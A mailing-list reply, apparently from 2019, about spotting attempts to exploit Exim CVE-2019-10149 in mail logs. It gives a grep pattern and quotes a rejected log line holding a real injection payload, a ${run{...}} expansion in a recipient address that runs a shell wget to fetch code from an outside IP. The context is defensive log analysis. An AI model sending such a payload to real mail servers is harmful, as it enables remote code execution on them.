Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable.
Hi.
On Fri, Jun 21, 2019 at 05:45:27AM +1000, Andrew McGlashan wrote:
> On 21/6/19 4:49 am, Reco wrote:
> >> Thank you, I've changed the banner for now.... let's hope that
> >> lessens the problem.
> >
> > Please share the results if possible.
> >
> > On this particular MTA I've counted whopping 4 attempts to exploit
> > CVE-2019-10149 so far. One made from France, three from US. I'm
> > kind of disappointed, I've expected half a million Chineese and
> > Russian bots at least ;)
>
> I've got good logs, what is the easiest string to grep for in the logs
> to see attempts? Or have you got a more fancy solution?
Plain old grep is more than enough here.
This one:
grep 'run{' /var/log/exim4/reject*
finds things like these:
2019-06-19 18:54:43 H=(service.com) [107.182.225.42] F=<support@service.com> rejected RCPT <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2fxxx.xxx.xxx.xxx\x22}}@localhost>: Unrouteable address
Reco
Reply to: